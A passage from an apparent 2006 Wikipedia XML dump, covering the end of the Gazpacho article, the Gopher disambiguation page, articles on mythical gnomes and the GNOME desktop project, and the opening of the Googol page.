* In the second series episode of [[comedy]] show [[The Mighty Boosh]] titled &quot;The fountain of youth&quot;, [[Howard Moon]] and [[Vince Noir]] sing a soup song. The lyrics are &quot;Soup, soup, a tasty soup, soup/a spicy carrot and coriander (Chilly chowder)/Crouton, crouton! Crunchy friends in a liquid broth/I am gazpacho (huh)/I am a summer soup/Miso! Miso!/Fighting in the [[Dojo|dojo]]/Miso! Miso!/Oriental friends in the land of soup.&quot;

==External links==
{{cookbook}}
*[http://www.smart-spanish-recipes.com/gazpacho-recipes.html Gazpacho History &amp; Recipes]
*[http://www.mediterrasian.com/delicious_recipes_gazpacho.htm Gazpacho recipe]
*[http://www.cellartastings.com/en/food-spanish-recipes.html Spanish Recipes]

==Gazpacho in pop culture==
Gazpacho is a song by [[progressive rock]] band [[Marillion]] from the [[Afraid of Sunlight (Album)]]
(1995)

==Gazpacho in [[software development]]==
[http://gazpacho.sicem.biz/ Gazpacho] is a [[GUI]] builder for the [[GTK+]] toolkit written in [[Python]].

[[Category:Soups]]
[[Category:Spanish cuisine]]
[[Category:Andalusian cuisine]]

[[bg:Гаспачо]]
[[de:Gazpacho]]
[[es:Gazpacho]]
[[eo:Gazpaĉo]]
[[fr:Gaspacho]]
[[ja:ガスパチョ]]
[[nl:Gazpacho]]
[[nn:Gazpacho]]</text>
    </revision>
  </page>
  <page>
    <title>Graphics Programs</title>
    <id>12358</id>
    <revision>
      <id>15910052</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Graphics_program]]
</text>
    </revision>
  </page>
  <page>
    <title>Gopher</title>
    <id>12359</id>
    <revision>
      <id>36594887</id>
      <timestamp>2006-01-25T03:46:45Z</timestamp>
      <contributor>
        <username>Bastique</username>
        <id>97711</id>
      </contributor>
      <comment>Article is on requests.  11 articles refer to [[Gopher Tortoise]]... this article should link to it.</comment>
      <text xml:space="preserve">{{wiktionarypar2|gopher|gofer}}
'''Gopher''' is:

* [[Gopher (animal)]], including:  
** True gopher, i.e. [[pocket gopher]] or member of [[Geomyidae]], native to North America
** [[Richardson's Ground Squirrel]], a species of ''Spermophilus''
** Ground squirrel, in a loose general sense, [[Sciuridae#Ground squirrel|Sciuridae]]
** The [[Gopher Tortoise]], ''Gopher Tortoise|Gopherus polyphemus''

* Media characters
** [[Gopher (Disney)]]- a character in the Disney version of Winnie the Pooh.
** Character played in ''Wonderland'' by [[Michael Pitt]]

* Member of various groups, including:
** [[Golden Gophers]], University of Minnesota sports teams
** [[Gopher Gang]], early 20th-century New York 
** [[CF Pachuca]], soccer team whose Spanish nickname means &quot;gophers&quot;

* Military hardware:
** [[SA-13 Gopher]] missile
** [[SS Gopher State (T-ACS-4)]], ship

* [[Gopher protocol]], for the distributed [[hypertext]] protocol

* A [[Gofer]] (&quot;''go-fer'' &quot; [go-for, to fetch]), or errand-runner

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Graphics file formats</title>
    <id>12360</id>
    <revision>
      <id>24815950</id>
      <timestamp>2005-10-05T15:08:48Z</timestamp>
      <contributor>
        <username>Kbdank71</username>
        <id>197953</id>
      </contributor>
      <comment>fix double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Graphics file format summary]]</text>
    </revision>
  </page>
  <page>
    <title>Gnome</title>
    <id>12361</id>
    <revision>
      <id>41842628</id>
      <timestamp>2006-03-02T02:28:43Z</timestamp>
      <contributor>
        <ip>70.97.166.114</ip>
      </contributor>
      <comment>Reference underpants gnomes</comment>
      <text xml:space="preserve">''This article is about the mythical creatures. For alternate meanings see [[Gnome (disambiguation)]].''
[[Image:Nisse_d_apres_nature_ill_jnl_fal.png|thumb|right|a gnome]]

A '''gnome''' is a [[Mythology|myth]]ical creature characterized by its small stature and subterranean lifestyle. According to [[Paracelsus]], gnomes are the most important of the [[elemental]] spirits of the [[classical element]] [[Earth (classical element)|earth]], and they move as easily through the earth as humans walk upon it. The sun's rays turn them into stone. In other traditions, they are simply small, mischievous [[Sprite (creature)|sprites]] or [[goblin]]s. Some sources claim they spend the daytime as toads instead of in stone.  

Often featured in Germanic [[fairy tale]]s, including those by the [[Brothers Grimm]], the gnome often resembles a gnarled old man living deep underground and guards buried treasure. Because of this, [[Swiss banking|Swiss bankers]] are sometimes disparagingly referred to as the [[Gnomes of Zürich]]. Gnomes feature in the legends of many of central, northern and eastern [[Europe]]an lands by other names: a ''kaukis'' is a [[Prussia|Prussian]] gnome, and ''barbegazi'' are gnome-like creatures with big feet in the traditions of [[France]] and [[Switzerland]]. In [[Iceland]], gnomes (''[[vættir]]'') are so respected that roads are re-routed around areas said to be inhabited by them. Further east, ''[[tengu]]'' are sometimes referred to as winged gnomes. 

Individual gnomes are not very often detailed or featured as characters in stories, but in [[Germanic folklore]], [[Rübezahl]], lord over the [[underworld]], was sometimes referred to as a mountain gnome. According to some traditions, the gnome king is called [[Gob]].

[[Rudolf Steiner]], and other [[theosophist]]s before him, lectured at length on gnomes, and especially their supportive role in the development of plant life (and biodynamic agriculture). [[Rupert Sheldrake]] has written a good deal about [[morphogenic field]]s, an idea [[Terry Pratchett]] used in his ''[[Discworld]]'' books many times.

The word ''gnome'' is said to derive from the [[New Latin]] ''gnomus'' and ultimately from the [[Greek language |Greek]] ''gnosis'', meaning knowledge. According to myth, gnomes hoarded secret knowledge just as they hoarded treasure.

==Garden gnomes==
[[Image:lamport-gnome-replica-amoswolfe.jpg|right|thumb|A replica of Lampy the Lamport gnome.]]
[[Image:Garden gnome with wheelbarrow-20051026.jpg|right|125px|thumb|A typical garden gnome.]]
The first ''garden gnomes'' were introduced to the [[United Kingdom]] in [[1847]] by Sir Charles Isham, when he brought 21 [[terracotta]] figures back from a trip to [[Germany]] and placed them as ornaments in the gardens of his home, [[Lamport Hall]] in [[Northamptonshire]]. Only one of the original batch of gnomes survives: ''Lampy'' as he is known, is on display at Lamport Hall, and is insured for one million [[pound Sterling|pounds]].

Garden gnomes have become a popular [[lawn ornament|accessory]] in many gardens, although they are not loved by all. They are often the target of [[prank]]s: people have been known to return garden gnomes &quot;to the wild&quot;, most notably [[France|France's]] ''&quot;Front de Liberation des Nains de Jardins&quot;'' and Italy's ''&quot;MALAG&quot;'' ([[Garden Gnome Liberation Front]]). Some kidnapped garden gnomes have been sent on trips around the world (the [[travelling gnome prank]]).

A sub-culture exists among those who collect garden gnomes, which is frequently lampooned in popular culture.

Garden gnomes were made in various poses and pursuing various pastimes, such as fishing or gardening. More recently, garden gnomes have been depicted indulging in [[indecent exposure]] or having [[sexual intercourse|sex]].

:See also [[plastic flamingos]].

==Gnomic Culture==
*The [[Nome King]] (spelled without the silent &quot;G&quot;) and his nome subjects nearly transformed [[Dorothy Gale]] and her friends into bric-a-brac in ''[[Ozma of Oz]]'', the third book in [[L. Frank Baum]]'s ''[[The Wonderful Wizard of Oz]]'' series. The character appeared several times in later [[The Oz books|books in the series]].

*The Gnome From Nome, a book by Serendipity Books.

* [http://www.myspace.com/gnome_invasion Gnomie's Grand Adventure] Visit Gnomie, the worlds most kick ass Gnome. He's swinger, a drinker, a brawler, and a lover.

*''[[The Gnome Mobile]]'' was a [[The Walt Disney Company|Disney]] movie.

*[[J. R. R. Tolkien]] used the word ''gnome'' in his early work &quot;[[The Book of Lost Tales]]&quot; for a fictional people later called [[Ñoldor]]. He dropped the term in his published works, since he found the gnomes of folklore to be so unlike his High Elves as to confuse his readers. &quot;Gnomes&quot; also refer to the [[Valar]].

*''[[David the Gnome]]'' was a [[1985]] childrens animated series, directed by [[Harvey Weinstein]]. It was narrated by [[Christopher Plummer]] and featured the voice of [[Tom Bosley]] as the kindly main character, [[David the Gnome|David]]. 

*[[Gnomes (Discworld)|Gnomes]] are one of several races on [[Terry Pratchett|Terry Pratchett's]] [[Discworld (world)|Discworld]], where they are also called [[goblins]]. The [[Nac Mac Feegle]] are sometimes considered an ethnic subgroup of gnomes.

*Terry Pratchett has also written a trilogy called ''[[The Bromeliad]]'' in which a race of &quot;nomes&quot; explore the world beyond their home, and keep discovering it to be bigger than they thought.

*The [[Shannara]] novels by [[Terry Brooks]] include the savage Spider Gnomes and the kindly Healer Gnomes.

*[[Gnome (Dungeons &amp; Dragons)|Gnomes]] are a prominent race in the ''[[Dungeons &amp; Dragons]]'' [[role-playing game]] and in novels based on the game's worlds, such as ''[[Dragonlance]]''.

* One of the eight [[Elemental spirits (Seiken Densetsu)| Elemental Spirits]] of the [[Seiken Densetsu|Mana/Seiken Densetsu]] video game series is called Gnome.

*In the [[Palladium Fantasy Role-Playing Game]], gnomes are a race of diminutive faeries who have lost their natural magic.  They live in subterranean homes, and once had a great republic, but it was destroyed in that world's Elf-Dwarf war.

*In [[David Brin]]'s novel ''Earth'', a major nuclear war is described in which many nations attack [[Switzerland]] in an effort to reclaim money from the &quot;gnomes&quot; (bankers): money that has been illegally smuggled out of ailing developing nations and hidden in numbered Swiss bank accounts.

*The British children's comic ''[[The Beano]]'' featured a character called ''[[Gordon Gnome]]'' in [[1988]], who was a garden gnome living next to a pond.

*''[[Gordon the Garden Gnome]]'' is an animated [[BBC]] series which first aired in [[2005]]. This gnome is not related to the earlier Beano character.

*''Gnomes'' and ''Secrets of the Gnomes'' by [[Wil Huygen]] and [[Rien Poortvliet]] are illustrated guidebooks to the fictional creatures, and resulted in the spin-off [[animated series]] ''[[David the Gnome]]''. These are originally written in Dutch, where gnomes are called ''kabouters''.

*In some computer games, including ''[[EverQuest]]'', ''[[Horizons: Empire of Istaria]]'', and ''[[World of Warcraft]]'', Gnomes are a short race of humanoids closely related to [[Dwarves]], and are exceptionally adept at tinkering and mechanics. This often results in they and their allies having technologies not normally found in fantasy settings, such as firearms or robot-like beings. See also [[Gnome (Warcraft)]].

*[[Dave Duncan (writer)|Dave Duncan]] has gnomes in his ''A Handful of Men'' tetralogy, where they are depicted as filth-eating tunnel-grubbers, somewhat like [[Dragonlance]]'s gully dwarves.

*The ''[[Harry Potter]]'' novels also contain references to gnomes. In chapter three of ''[[Harry Potter and the Chamber of Secrets]]'' Harry Potter and Ron, Fred, and George [[Weasley]] had to de-gnome their garden by picking up the gnomes by the feet, spinning them around, and throwing them as far away as they could. The gnomes are described as &quot;small and leathery looking, with a large, knobby, bald head exactly like a potato.&quot; They also have &quot;horny little feet&quot; and &quot;razor sharp teeth.&quot; They live in holes in the ground called &quot;gnome holes.&quot;

*The seminal psychedelic band [[Gong (band)|Gong]] first shared with the world news of &quot;Radio Gnome&quot;, the means by which we may communicate with the Planet Gong.

*The Washington, DC based vaudeville/rock n' roll band The Cassettes are known for their songs about Gnomes in particularly their song &quot;Rogue Gnome&quot; based off Romanian and Scandinavian folklore.

* [http://gnome-world-domination.drinspaek.com/ Gnome World Domination] is a cult effort to propel gnomes into positions of social power

* [http://www.bifrost.com.au/hosting/gnomes/ Die Screaming With Sharp Things in Your Head] is an organization that mutilates garden gnomes and displays the results for all to see

* [http://www.garden-gnomes-need-homes.com/history-of-garden-gnomes-1.htm A History of Garden Gnomes]

* [http://www.gardengnomefromhell.com/ Garden Gnome From Hell] exists to warn mankind about evil gnomes.

* [http://www.gnomereserve.co.uk The Gnome Reserve and Wildflower Garden ]in North Devon 4 acres open to the public, fun for all ages. Also housing a museum of antique gnomes.

* In an [[Gnomes (South Park episode)|episode]] of [[South Park]], the Underpants Gnomes are a community of underground gnomes who steal underpants as part of an ill-formed business plan.

==See also==
{{Commons|Category:Garden gnomes|Garden gnomes}}
*[[Dwarf]]
*[[Erdgeist]]
*[[German folklore]]
*[[Kallikantzaroi]]
*[[Leprechaun]]
*[[Lord Gnome]]
*[[Sprite (creature)]]
*[[Tomte]]
*[[Troll]]
*[[Vetter]]

[[Category:European folklore]]
[[Category:Legendary creatures]]

[[de:Gnom (Mythologie)]]
[[eo:Gnomo]]
[[es:Gnomo]]
[[fr:Gnome (créature fantastique)]]
[[it:Gnomo]]
[[ja:&amp;#12494;&amp;#12540;&amp;#12512;]]
[[nl:Kabouter]]
[[nn:Hagenisse]]
[[pl:Gnom]]</text>
    </revision>
  </page>
  <page>
    <title>GNOME</title>
    <id>12362</id>
    <revision>
      <id>42155544</id>
      <timestamp>2006-03-04T04:38:36Z</timestamp>
      <contributor>
        <ip>64.223.113.196</ip>
      </contributor>
      <comment>rv</comment>
      <text xml:space="preserve">: ''This article is about the GNOME project and desktop environment. For other uses of the term, see [[Gnome (disambiguation)]].''
{{Infobox_Software
| name = The GNOME Project
| logo = [[Image:gnomelogo.png|75px]]
| screenshot = [[Image:gnome-screenshot2.png|300px]]
| caption = GNOME screenshot showing the [[Evince]] PDF Viewer and [[Totem (media player)|Totem]] media player
| developer = GNOME developers
| latest_release_version = 2.12
| latest_release_date = [[September 7]], [[2005]]
| operating_system = [[Cross-platform]]
| genre = [[Desktop environment]]
| license = [[GNU General Public License|GPL]] and [[GNU Lesser General Public License|LGPL]] | website = [http://www.gnome.org/ www.gnome.org]
}}

The '''GNOME''' project is an international effort to create an easy-to-use computer [[desktop environment]] built entirely from software considered [[free software|free]] by the [[Free Software Foundation]].

A great deal of software is created or hosted under the umbrella of the GNOME project, some of which is collected and released together as '''The GNOME Desktop'''. The Desktop is then further combined with other software (such as a [[kernel (computer science)|kernel]]) to create a fully functional computer system, such as a [[GNU/Linux]] distribution or [[Sun Microsystems]]' [[Solaris Operating Environment|Solaris]].

GNOME is the official desktop of the [[GNU Project]] and the correct [[IPA chart for English|pronunciation]] of the name is {{IPA|/gəˈnəʊm/}}. The name was created as an acronym of '''GNU Network Object Model Environment''', but usage of the full expansion is now considered obsolete.

==Aims==
According to the GNOME website,

:''&quot;The GNOME project provides two things: The GNOME desktop environment, an intuitive and attractive desktop for end-users, users, and the GNOME development platform, an extensive framework for building applications that integrate into the rest of the desktop. &quot;'' {{ref|aboutgnome}}

The GNOME project puts heavy emphasis on simplicity, usability and making things &quot;just work&quot;. As a consequence of this, two things are given prominence: 

* [[Computer accessibility|Accessibility]] &amp;mdash; ensuring the desktop can be used by everyone, regardless of technical skill or physical disability
* [[Internationalization and localization|Internationalisation]] &amp;mdash; ensuring the desktop is available in many languages

In addition to providing an easy-to-use desktop for users, the GNOME project also aims to make the development of application software easier by providing many of the services expected in a modern environment and promoting the reuse of code.

==Origin==
The GNOME project was started in August 1997 by [[Miguel de Icaza]] and [[Federico Mena]] in response to licensing concerns over software used by [[KDE]], a free software desktop environment that relies on the [[Qt (toolkit)|Qt]] [[widget toolkit]]. At the time, Qt did not use a [[free software license]] and members of the GNU project became concerned about the use of such a toolkit for building a free software desktop and applications. Two projects were started: [[Harmony toolkit|Harmony]], to create a Free replacement for the Qt libraries, and the GNOME project to create a new desktop without Qt and built entirely on top of free software.{{ref|harmonyandgnome}} 

In November 1998, the Qt toolkit was licensed under the open source [[Q Public License]] (QPL), but debate continued about compatibility with the [[GNU General Public License]] (GPL). In September 2000, Trolltech made the [[GNU/Linux]] version of the Qt libraries available under the GPL, in addition to the QPL, thereby removing most of the objections that had fuelled years of licensing debates.{{ref|gplcompat}} The licensing of Qt is still controversial for some because the use of the GPL for a library imposes restrictions on the licensing of code [[linker|linking]] to it, such as applications and libraries using the KDE/Qt framework. In particular, in order to develop [[proprietary software]] with KDE and Qt, it is necessary to purchase a commercial license from Trolltech.

[[Image:GNOME-Screenshot-2.13-Jp.png|thumb|right|300px|GNOME 2.13.3 (development version) using the [[Japanese language]], with [[Tango Desktop Project]] pre-release icons.]]
In place of the Qt toolkit, the [[GTK+]] toolkit was chosen as the base of the GNOME desktop. GTK+ uses the [[GNU Lesser Public License]] (LGPL), a free software license that allows software linking to it, such as applications written for GNOME, to use a much wider set of licenses, including proprietary software licenses.{{ref|reverseengineering}} The GNOME desktop itself is licensed under the LGPL for its libraries, and the GPL for applications that are part of the GNOME project itself.

The GNOME desktop is written in the [[C programming language]]. A number of language bindings are available, allowing GNOME applications to be written in a variety of languages, such as [[C++]], [[Java programming language|Java]], [[Ruby programming language|Ruby]], [[C Sharp|C#]], [[Python programming language|Python]], [[Perl]] and many others.

The name &quot;GNOME&quot; was proposed by Elliot Lee, one of the authors of [[ORBit]] and the [[Object Activation Framework]] (OAF). It refers to the possibilities that people, at the time, thought [[CORBA]] would bring to a desktop environment &amp;mdash; a Network Object Model. Since that no longer reflects the core vision of the GNOME project, many members of the project advocate dropping the acronym and re-naming &quot;GNOME&quot; to &quot;Gnome&quot;.

==Organisation==
&lt;!-- please do not change the spelling of &quot;Organisation&quot;, see http://en.wikipedia.org/wiki/Talk:GNOME/Archive1#Spelling_-_copied_from_my_.28Motor.29_talk_page --&gt;
In common with most free software projects, the GNOME project is loosely organised. Discussion occurs on a number of mailing lists that are open to anyone.{{ref|mailinglists}} In August 2000 the [[GNOME Foundation]] was set up to deal with administrative tasks, press interest and to act as a contact point for companies interested in developing GNOME software. The foundation, while not directly involved in technical decisions, does coordinate releases and decide which projects will be part of GNOME.  According to the foundation's website, the qualifications for membership are,

:''&quot;Per the GNOME Foundation's charter, any contributor to GNOME is eligible for membership. Although it is difficult to specify a precise definition, a contributor generally must have contributed to a non-trivial improvement of the GNOME Project. Contributions may be code, documentation, translations, maintenance of project-wide resources, or other non-trivial activities which benefit the GNOME Project.&quot;''{{ref|foundationmembership}}

The membership of the foundation elects a board of directors every November, and candidates for the positions must be members themselves.

==Platforms==
Although originally a GNU/Linux desktop, GNOME now runs on most Unix-like systems ([[Berkeley Software Distribution|*BSD]] variants, [[AIX operating system|AIX]], [[IRIX]], [[HP-UX]]), and in particular it has been adopted by [[Sun Microsystems]] as the standard desktop for its Solaris platform, replacing the ageing [[Common Desktop Environment|CDE]]. It is supplied with most modern desktop [[Linux distribution|GNU/Linux distributions]], and is the default desktop environment for [[Fedora Core]], [[Red Hat Enterprise Linux]] and [[Ubuntu Linux|Ubuntu]]. 

GNOME is also available in a number of [[LiveCD]] Linux distributions. A LiveCD allows a computer to [[booting|boot]] directly from a [[compact disc]] (CD) without removal or changes to a pre-existing operating system, such as Microsoft Windows. There are GNOME-based LiveCD Linux distributions such as [[Gnoppix]], [[Morphix]] and Ubuntu, and an official GNOME LiveCD is also available for download from the GNOME website.{{ref|gnomelivecd}}

Sun Microsystems has released a business desktop under the name [[Java Desktop System]] &amp;mdash; a [[SUSE]] Linux/Solaris 10 system base with a GNOME desktop. There is also a port of GNOME to [[Cygwin]], allowing it to run on [[Microsoft Windows]].

[[Image:GNOME-Screenshot-2.10-FC4.png|thumb||right|300px|GNOME 2.10 screenshot (on Fedora Core 4) showing [[Rhythmbox]] (music), [[GThumb]] (image manager), [[gedit]] (text editor), and the [[Nautilus file manager]].]]

==Architecture==
The GNOME desktop is built from a large number of different projects. A few of the major ones are listed below:

* [[Bonobo (computing)|Bonobo]] &amp;mdash; a [[compound document]] technology.
* [[D-BUS]] &amp;mdash; interprocess communication system. &lt;!-- is this officially in GNOME now? --&gt;
* [[GConf]] &amp;mdash; for storing application settings.
* [[GNOME VFS]] &amp;mdash; a virtual [[file system]].
* [[GNOME Keyring]] &amp;mdash; for storing [[encryption]] keys and security information.
* [[GNOME Print]] &amp;mdash; for printing documents.
* [[GNOME Translation Project]] &amp;mdash; translate documentation and applications into different languages.
* [[GStreamer]] &amp;mdash; a multimedia framework.
* [[GTK+]] &amp;mdash; a [[widget toolkit]] with several sub-projects.
** [[GLib]] &amp;mdash; convenience functions for programming in C
** [[GObject]] &amp;mdash; a framework for object oriented programming in C.
** [[Accessibility Toolkit|ATK]] &amp;mdash; an [[Computer accessibility|accessibility]] toolkit.
** [[Pango]] &amp;mdash; for the layout and rendering of text in a wide variety of languages.
* [[Cairo (graphics)|Cairo]] &amp;mdash; a sophisticated 2D graphics library.
* [[Human Interface Guidelines]] &amp;mdash; research and documentation by Sun Microsystems on building easy-to-use GNOME applications.
* [[LibXML]] &amp;mdash; an XML library.
* [[Orbit (software)|ORBit]] &amp;mdash; a [[CORBA]] [[Object request broker|ORB]] for [[software componentry]].
* [[Metacity]] &amp;mdash; a [[X window manager|window manager]].

The use of GTK+ as the base widget toolkit allows GNOME to benefit from certain features: theming (the ability to change the look of an application); smooth anti-aliased graphics (with later Cairo-based versions of GTK+); and the opportunity to port the application to other platforms such as Windows and Mac OSX (examples of this include [[GIMP|The Gimp]] and [[Inkscape]]).

==Future developments==
There are many sub-projects under the umbrella of the GNOME project, and not all of them are currently included in GNOME releases. Some are considered purely experimental concepts, or for testing ideas that will one day migrate into stable GNOME applications; others are code that is being polished for direct inclusion. Some examples include:

* [[GNOME Storage]] &amp;mdash; database filing system for GNOME. Compare with [[WinFS]].
* Project Topaz{{ref|topaz}} &amp;mdash; ideas for GNOME version 3.0.
* Project Soylent{{ref|soylent}} &amp;mdash; making &quot;people&quot; and their interactions first-class objects within the GNOME framework.
* [[GTK+|Project Ridley]] &amp;mdash; to consolidate several small undermaintained libraries into GTK+, such as libgnome and libgnomeprint.
* The use of the Mozilla project's [[XUL]] on the GNOME desktop

While not specifically a GNOME project, the [[Tango Desktop Project]] aims to provide a consistent user experience across different desktop environments. For example, GNOME and KDE applications will be visually much closer to help users moving from one desktop environment to another.

Although GNOME applications can be written in many programming languages, the GNOME desktop itself and the applications that are part of a GNOME release are currently written purely in C. There is considerable discussion over the inclusion of applications written in other, higher level, languages such as C#, Python and Java. Although each of these languages is already used to develop GNOME applications, their use in core GNOME applications would force the inclusion of the respective language's [[virtual machine]] with every GNOME installation. This would increase the minimum specification of machine able to run the latest GNOME desktop.

==Freedesktop.org and GNOME==

[[Freedesktop.org]] is a project to assist interoperability and shared technology between the different [[X Window desktop]]s, such as GNOME, [[KDE]] or [[Xfce]]. Although it is not a formal standards organisation, Freedesktop.org defines certain basic features of an X Desktop, including drag and drop between applications, window manager specifications, menu layouts, recent files lists, copy and pasting between applications and a shared [[MIME|MIME type]] database, among other things. Following [[Freedesktop.org]] specifications allows GNOME applications to appear more integrated into other desktops (and vice versa), and encourages cooperation as well as competition.

==Major GNOME Applications==
See [[List of GNOME applications]] for a more complete list. Major applications based on GNOME include the following:

* [[AbiWord]] &amp;mdash; a [[word processor]].
* [[Ekiga]] &amp;mdash; for telephony and [[voice over IP]].
* [[Epiphany (web browser)|Epiphany]] &amp;mdash; a [[web browser]]. Epiphany is the default browser starting with GNOME 2.4.
* [[Evince]] &amp;mdash; a document viewer (PDF, PostScript, and more).
* [[Novell Evolution|Evolution]] &amp;mdash; for contacts/time management and [[e-mail]].
* [[Gaim]] &amp;mdash; an [[instant messenger]].
* [[gedit]] &amp;mdash; a [[text editor]]. 
* [[GIMP|The GIMP]] &amp;mdash; an advanced [[bitmap graphics editor|image editor]].
* [[Gnumeric]] &amp;mdash; a [[spreadsheet]].
* [[Inkscape]] &amp;mdash; a [[vector graphics|vector]] drawing application.
* [[Nautilus file manager|Nautilus]] &amp;mdash; a [[file manager]].
* [[Rhythmbox]] &amp;mdash; a music-management application similar to [[iTunes]].
* [[Totem (media player)|Totem]] &amp;mdash; a media player.

==Stable releases==
Each of the parts making up the GNOME project (see [[GNOME#Architecture|Architecture]]) has its own version number and release schedule. However, individual module maintainers coordinate their efforts to create a full GNOME stable release on a roughly six-month schedule. The releases listed in the table below are classed as [[Development stage#Stable/Unstable|stable]]. Unstable releases for testers and developers are not listed, nor are bugfix releases for individual modules.

{| class=&quot;wikitable&quot; 
!Version
!Date
!Information
|-
!align=&quot;center&quot;|&amp;nbsp;
|August 1997
|GNOME development announced
|-
!align=&quot;center&quot;|1.0
|March 1999
|First major GNOME release
|-
!align=&quot;center&quot;|1.0.53
|October 1999
|&quot;October&quot;
|-
!align=&quot;center&quot;|1.2
|May 2000
|&quot;Bongo&quot;
|-
!align=&quot;center&quot;|1.4
|April 2001
|&quot;Tranquility&quot;
|-
!align=&quot;center&quot;|2.0
|June 2002
|Major upgrade based on GTK2. Introduction of the [[Human Interface Guidelines]]
|-
!align=&quot;center&quot;|2.2
|February 2003
|Multimedia and file manager improvements
|-
!align=&quot;center&quot;|2.4
|September 2003
|[[Epiphany (web browser)|Epiphany]], accessibility support
|-
!align=&quot;center&quot;|2.6
|March 2004
|Nautilus changes to a [[spatial file manager]], and a new GTK+ [[file dialog]] is introduced. A short-lived fork of GNOME, [[GoneME]] is created as a response to the changes in this version.
|-
!align=&quot;center&quot;|2.8
|September 2004
|Improved removable device support, adds [[Novell Evolution|Evolution]]
|-
!align=&quot;center&quot;|2.10
|March 2005
|Lower memory requirements and performance improvements. Adds: new panel applets (modem control, drive mounter and trashcan); and the [[Totem_Media_Player|Totem]] and [[Sound_Juicer|Sound Juicer]] applications
|-
!align=&quot;center&quot;|2.12
|September 2005
|Nautilus improvements; improvements in cut/paste between applications and freedesktop.org integration. Adds: [[Evince]] PDF viewer; New default theme: ClearLooks; menu editor; keyring manager and admin tools. Based on GTK+ 2.8 with Cairo support
|}

==Source code==
GNOME releases are made in the form of [[source code]], which is then compiled and integrated with the rest of the system to produce a functioning computer with an easy to use desktop. Most operating system installations use only stable and tested versions of the GNOME desktop, and provide it in the form of easily installed pre-compiled packages. 

Those interested in testing, fixing bugs or adding new features can use the latest [[Concurrent Versions System|source code repository]] version of GNOME &amp;mdash; though development code is not recommended for general use as it contains many untested modifications and experimental changes. The process of downloading the source code, compiling and installing the entire GNOME desktop manually is a laborious and time-consuming process, and a number of build-[[Scripting programming language|script]]s (such as &quot;jhbuild&quot; or GARNOME{{ref|gargnome}}) are used to automate it.

==Notes and references==
#{{note|aboutgnome}}[http://www.gnome.org/about/ About GNOME] retrieved on [[8 September]], [[2005]]
#{{note|harmonyandgnome}}[http://linuxtoday.com/news_story.php3?ltsn=2000-09-05-001-21-OP-LF-KE Richard Stallman] regarding the origin of GNOME. Retrieved on [[9 September]], [[2005]].
#{{note|gplcompat}}[http://linuxtoday.com/news_story.php3?ltsn=2000-09-05-001-21-OP-LF-KE Richard Stallman] on QPL and GPL covered code, and the Qt license change. Retrieved on [[9 September]], [[2005]].
#{{note|reverseengineering}}[http://www.fsf.org/licensing/licenses/lgpl.html Section 6 of the LGPL v2.1] prohibits linking to software with a license that restricts reverse-engineering and modification of the work for the customer's own use.
#{{note|mailinglists}}[http://mail.gnome.org GNOME mailing lists] rules and [[FAQ]]s.
#{{note|foundationmembership}}[http://foundation.gnome.org/membership/ Membership of the GNOME foundation] retrieved on [[8 September]], [[2005]]
#{{note|gnomelivecd}}[http://torrent.gnome.org/ The official GNOME LiveCD]
#{{note|topaz}}[http://live.gnome.org/ThreePointZero Project Topaz homepage]
#{{note|soylent}}[http://galago-project.org/wiki/Project_Soylent Project Soylent homepage]
#{{note|gargnome}}[http://www.gnome.org/projects/garnome/ The GARNOME homepage]

==See also==
* [[GnomeFiles]] - a software repository
* [[Linux Documentation Project]]

==External links==
{{wikinews|GNOME Project unveils latest version of Linux and Unix desktop}}
{{wikibooks|Using GNOME}}
{{wikibooks|GNOME for Debian}}
{{commons|GNOME}}

===Official sites===
* [http://www.gnome.org/ Official GNOME website]
* [http://www.gnome.org/learn/ Learn how to use GNOME]
* [http://foundation.gnome.org The GNOME Foundation]
* [http://developer.gnome.org/projects/gdp/ The GNOME Documentation Project]
* [http://gnomesupport.org/wiki/index.php/Main_Page Official GNOME Wiki for users]
* [http://live.gnome.org/ Wiki for GNOME developers]
* [http://planet.gnome.org/ Blogs of the GNOME developers]
* [http://art.gnome.org/ Artwork &amp; Themes for GNOME]

===GNOME versions===
* Release announcements for versions  [http://mail.gnome.org/archives/gnome-announce-list/1999-October/msg00020.html 1.0.53], [http://mail.gnome.org/archives/gnome-announce-list/2000-May/msg00062.html 1.2], [http://mail.gnome.org/archives/gnome-announce-list/2001-April/msg00005.html 1.4], [http://mail.gnome.org/archives/desktop-devel-list/2002-June/msg00592.html 2.0], [http://mail.gnome.org/archives/desktop-devel-list/2003-February/msg00255.html 2.2], [http://mail.gnome.org/archives/gnome-announce-list/2003-September/msg00062.html 2.4], [http://mail.gnome.org/archives/gnome-announce-list/2004-March/msg00131.html 2.6], [http://mail.gnome.org/archives/gnome-announce-list/2004-September/msg00037.html 2.8], [http://mail.gnome.org/archives/gnome-announce-list/2005-March/msg00049.html 2.10], [http://mail.gnome.org/archives/gnome-announce-list/2005-September/msg00024.html 2.12]
* Start pages for versions [http://www.gnome.org/start/2.0/ 2.0], [http://www.gnome.org/start/2.2/ 2.2], [http://www.gnome.org/start/2.4/ 2.4], [http://www.gnome.org/start/2.6/ 2.6], [http://www.gnome.org/start/2.8/ 2.8], [http://www.gnome.org/start/2.10/ 2.10], [http://www.gnome.org/start/2.12/ 2.12]

===Third-party sites===
* [http://www.gnome-look.org/ GNOME-Look.org Artwork for GNOME]
* [http://www.gnomedesktop.org/ A GNOME news site]
* [http://www.gnomejournal.org/ GNOME Journal] &amp;mdash; an online magazine devoted to the GNOME Desktop
* [http://primates.ximian.com/~miguel/gnome-history.html The Story of the GNOME project] written by [[Miguel de Icaza]]
* [http://www.nabble.com/Gnome-f1226.html GNOME Forum] &amp;mdash; an unofficial forum archiving the mailing lists of many GNOME projects.

[[Category:GNU project software]]
[[Category:GNOME]]
[[Category:X Window System]]

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    </revision>
  </page>
  <page>
    <title>Googol</title>
    <id>12363</id>
    <revision>
      <id>41990259</id>
      <timestamp>2006-03-03T02:00:38Z</timestamp>
      <contributor>
        <username>Kaimiddleton</username>
        <id>626471</id>
      </contributor>
      <minor />
      <comment>/* Trivia */</comment>
      <text xml:space="preserve">{{wiktionarypar|googol}}
 
:''This article is about the large number. For the Internet company, see [[Google]]. For the author, see [[Gogol]].''

